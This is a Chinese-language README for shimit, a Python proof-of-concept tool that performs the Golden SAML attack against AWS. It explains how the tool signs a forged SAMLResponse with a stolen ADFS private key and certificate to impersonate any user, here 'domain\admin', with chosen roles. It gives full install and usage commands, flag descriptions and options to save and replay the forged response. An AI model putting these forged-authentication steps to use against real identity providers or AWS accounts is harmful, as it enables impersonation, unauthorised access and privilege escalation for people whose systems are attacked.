shimit 是一个实现 Golden SAML 攻击的 Python 工具。更多信息可在我们博客中的以下文章中找到。
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
在 Golden SAML 攻击中,攻击者可以以任意所需权限访问应用(任何支持 SAML 认证的应用),并伪装成目标应用中的任意用户。
shimit 允许用户创建签名的 SAMLResponse 对象,并利用它在服务提供商中打开一个会话。shimit 目前支持 AWS Console 作为 Service Provider,更多支持正在开发中……
生成并签署 SAMLResponse 的 assertion 后,shimit 将调用 AWS 中的 AssumeRoleWithSAML() API。然后,会话令牌和密钥将被应用于新会话,用户可以使用 aws cli 通过 golden SAML 获得的权限执行操作。
安装所需模块,请运行以下命令:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
需要使用 AWS CLI 来使用获取到的凭证。 可从以下链接下载: Windows 或 Linux
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - 身份提供商 URL,例如 http://server.domain.com/adfs/services/trust
pk - 私钥文件完整路径(pem 格式)
c - 证书文件完整路径(pem 格式)
u - 用户和域名,例如 domain\username(在 *nix 中使用 \ 或引号)
n - AWS 中的会话名称
r - AWS 中的期望角色。支持多个角色,将假定第一个指定的角色。
id - AWS 账户 ID,例如 123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - 将编码后的 SAMLResponse 输出到指定文件路径
python .\shimit.py -l saml_response.xml
l - 从指定文件路径加载 SAMLResponse
shimit 目前作为概念验证,支持 AWS 作为服务提供商。我们强烈鼓励您为其他服务提供商贡献新模块。